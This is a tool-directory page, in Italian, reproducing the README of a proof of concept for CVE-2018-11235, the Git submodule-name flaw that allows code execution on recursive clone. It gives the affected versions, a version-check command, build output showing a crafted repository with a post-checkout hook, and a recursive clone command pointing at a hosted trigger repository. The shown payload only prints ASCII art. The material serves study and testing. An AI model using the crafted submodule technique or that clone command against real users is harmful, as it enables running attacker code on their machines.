Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-11235 — CVE-2018-11235（PoC && Exp） | Kitploit
Strumenti/GitHubGitHub/anonymking/cve-2018-11235
Analisi delle VulnerabilitàExploitSicurezza della Supply ChainApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubanonymking/cve-2018-11235

CVE-2018-11235

CVE-2018-11235（PoC && Exp）

Vedi Repository
17 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-11235

Introduzione alla vulnerabilità

  • Nome vulnerabilità: Vulnerabilità di sicurezza Git
  • ID CNNVD: CNNVD-201805-1020
  • Livello di pericolo: Alto
  • ID CVE: CVE-2018-11235
  • Tipo di vulnerabilità: Problema di caratteristica di sicurezza
  • Data di pubblicazione: 2018-05-31
  • Tipo di minaccia: Remota
  • Data di aggiornamento: 2019-04-01
  • Produttore: git-scm
  • Fonte della vulnerabilità:
  • Descrizione della vulnerabilità: Git è un sistema di controllo di versione distribuito gratuito e open source sviluppato da Linus Torvalds. In Git esiste una vulnerabilità di sicurezza, che deriva dal fatto che quando il nome del sottomodulo viene aggiunto alla directory $GIT_DIR/modules, il programma non convalida correttamente il nome del sottomodulo proveniente da file .gitmodules non attendibili. Un attaccante remoto può sfruttare la vulnerabilità per eseguire codice arbitrario tramite un file .gitmodules appositamente predisposto. Le seguenti versioni sono interessate: versioni precedenti a Git 2.13.7, versioni 2.14.x precedenti a 2.14.4, versioni 2.15.x precedenti a 2.15.2, versioni 2.16.x precedenti a 2.16.4, versioni 2.17.x precedenti a 2.17.1.
  • Versioni interessate (fonte: «Rilevamento e correzione della vulnerabilità di esecuzione di codice arbitrario in Git (CVE-2018-11235)»):
root@kitploit:~
版本2.13.x，小于2.13.7则存在漏洞
版本2.14.x ，小于 2.14.4则存在漏洞
版本2.15.x，小于 2.15.2则存在漏洞
版本2.16.x，小于 2.16.4则存在漏洞
版本2.17.x，小于 2.17.1则存在漏洞
  • Verifica se la tua versione è interessata (fonte: «Rilevamento e correzione della vulnerabilità di esecuzione di codice arbitrario in Git (CVE-2018-11235)»):
root@kitploit:~
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
  1. Se viene visualizzato Initialized empty Git repository in /tmp/test/.git/, indica che la vulnerabilità è presente.
  2. Se vengono visualizzate le seguenti frasi, indica che la versione non è interessata:
root@kitploit:~
Initialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules

Riproduzione della vulnerabilità

  • A causa dei meccanismi di sicurezza di GitHub, non è possibile caricare progetti dannosi, quindi puoi eseguire lo script build.sh per costruire questo progetto in locale per studio e test.
  • Questo progetto si basa principalmente su due progetti: CVE-2018-11235-DEMO e CVE-2018-11235.
  • La versione di Git da me utilizzata è git-2.12.1
  • Il processo e l'output sono i seguenti:
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
 29 files changed, 560 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 Submodule
 create mode 100644 modules/1/2/3/4/payload/HEAD
 create mode 100644 modules/1/2/3/4/payload/config
 create mode 100644 modules/1/2/3/4/payload/description
 create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
 create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
 create mode 100644 modules/1/2/3/4/payload/index
 create mode 100644 modules/1/2/3/4/payload/info/exclude
 create mode 100644 modules/1/2/3/4/payload/logs/HEAD
 create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
 create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
 create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
 create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
 create mode 100644 modules/1/2/3/4/payload/packed-refs
 create mode 100644 modules/1/2/3/4/payload/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
 create mode 120000 modules/payload
 create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$ 
[anonymking@localhost test]$ 
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
  • Il codice dannoso che ho costruito nel payload è quello di stampare un Buddha, quindi vedere il Buddha significa che il test è riuscito.

Riferimenti

  1. http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html
  2. https://www.anquanke.com/post/id/146909
  3. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  4. https://xz.aliyun.com/t/2371
  5. https://github.com/CHYbeta/CVE-2018-11235-DEMO
  6. https://atorralba.github.io/CVE-2018-11235/
  7. https://github.com/Rogdham/CVE-2018-11235

Scoperta accidentale

  • Sono riuscito a costruire con successo questo progetto su Coding — CVE-2018-11235
  • Utilizzo:
root@kitploit:~
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test
Scarica lo strumento